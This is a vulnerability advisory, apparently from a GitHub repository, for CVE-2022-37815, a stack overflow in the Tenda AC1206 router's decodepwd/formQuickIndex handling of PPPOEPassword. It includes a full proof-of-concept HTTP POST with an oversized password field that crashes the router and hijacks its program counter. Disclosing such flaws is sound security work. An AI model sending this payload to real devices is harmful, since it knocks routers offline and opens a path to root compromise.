CVE-2022-37815: vuln/Tenda/AC1206/18 at main · Darry-lang1/vuln

Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview

• Manufacturer’s website information：https://www.tenda.com.cn
• Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

Product Information

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

Vulnerability details

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formQuickIndex function. An attacker can obtain a stable root shell through a carefully constructed payload.

Stack overflow vulnerability occurs in the decodepwd function.

The decodepwd function is equivalent to copying data from and filtering “/” symbols.As long as the ppppwd(the value of PPPOEPassword) we enter exceeds the size of the decode_pwd array, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

   POST /goform/QuickIndex HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; Content-Length: 12 Origin: http://192.168.0.1 DNT: 1 Connection: close Referer: http://192.168.0.1/index.html Cookie: ecos_pw=eee:language=cn

   PPPOEPassword=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.